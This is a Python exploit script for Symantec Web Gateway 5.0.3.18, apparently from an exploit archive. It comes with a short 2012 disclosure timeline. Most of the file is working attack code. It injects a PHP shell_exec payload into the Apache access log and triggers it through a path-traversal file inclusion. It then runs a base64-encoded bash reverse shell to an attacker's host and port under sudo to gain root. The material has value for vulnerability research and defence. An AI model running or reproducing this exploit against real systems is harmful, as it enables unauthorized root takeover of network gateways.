Symantec Web Gateway 5.0.3.18 – Local/Remote File Inclusion / Remote Command Execution
#!/usr/bin/python ''' The original patch for the Symantec Web Gateway 5.0.2 LFI vulnerability removed the /tmp/networkScript file but left the entry in /etc/sudoers, allowing us to simply recreate the file and obtain a root shell using a different LFI vulnerability. Timeline: # 06 Jun 2012: Vulnerability reported to CERT # 08 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012 # 26 Jun 2012: Email received from Symantec for additional information # 26 Jun 2012: Additional proofs of concept sent to Symantec # 06 Jul 2012: Update received from Symantec with intent to fix # 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00 # 23 Jul 2012: Public Disclosure ''' import socket import sys import base64 print "[*] #########################################################" print "[*] Symantec Web Gateway 5.0.3.18 LFI Remote ROOT RCE Exploit" print "[*] Offensive Security - http://www.offensive-security.com" print "[*] #########################################################\n" if (len(sys.argv) != 4): print "[*] Usage: symantec-web-gateway-0day.py <RHOST> <LHOST> <LPORT>" exit(0) rhost = str(sys.argv[1]) lhost = sys.argv[2] lport = sys.argv[3] # Base64 encoded bash reverse shell # Payload does sudo-fu abuse of sudoable /tmp/networkScript with apache:apache permissions payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/'''+lhost+'/' + lport payload+=''' 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript''' payloadencoded=base64.encodestring(payload).replace("\n","") taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded trigger="GET /spywall/languageTest.php?&language=../../../../../../../../usr/local/apache2/logs/access_log%00 HTTP/1.0\r\n\r\n" print "[*] Super Sudo Backdoor injection, w00t" expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) expl.connect((rhost, 80)) expl.send(taint) expl.close() print "[*] Triggering Payload ...3,2,1 " expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) expl.connect((rhost, 80)) expl.send(trigger) expl.close() print "[*] Can you haz shell on %s %s ?\n" % (lhost,lport) |